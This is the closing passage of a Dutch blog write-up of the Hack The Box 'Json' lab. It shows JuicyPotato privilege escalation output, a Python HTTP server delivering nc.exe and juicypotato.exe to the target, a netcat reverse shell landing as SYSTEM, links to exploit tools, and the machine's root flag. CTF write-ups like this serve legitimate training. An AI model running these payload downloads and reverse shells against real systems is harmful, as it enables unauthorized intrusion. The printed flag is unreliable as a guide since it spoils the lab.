....
[+] authresult 0
{e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK
PS C:\users\userpool\Downloads>
root@kali:~/htb# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.158 - - [13/Jan/2020 05:58:01] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.158 - - [13/Jan/2020 05:58:01] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.158 - - [13/Jan/2020 05:58:16] "GET /juicypotato.exe HTTP/1.1" 200 -
10.10.10.158 - - [13/Jan/2020 05:58:17] "GET /juicypotato.exe HTTP/1.1" 200 -
root@kali:~/htb/json# rlwrap nc -nlvp 53
listening on [any] 53 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.158] 49972
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

gebruikte bestanden : https://github.com/puckiestyle/python/blob/master/htb-json.py

https://github.com/puckiestyle/pentest/blob/master/ysoserial.zip

https://github.com/puckiestyle/pentest/blob/master/juicypotato.exe

gebruikte referenties : https://www.vanderziel.org/2019/10/06/hackthebox-json/

https://github.com/pwntester/ysoserial.net

root = 3cc85d1bed2ee84af4074101b991d441

Auteur : Jacco Straathof

 

Beveiligd: HTB-OPENADMIN-NL

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op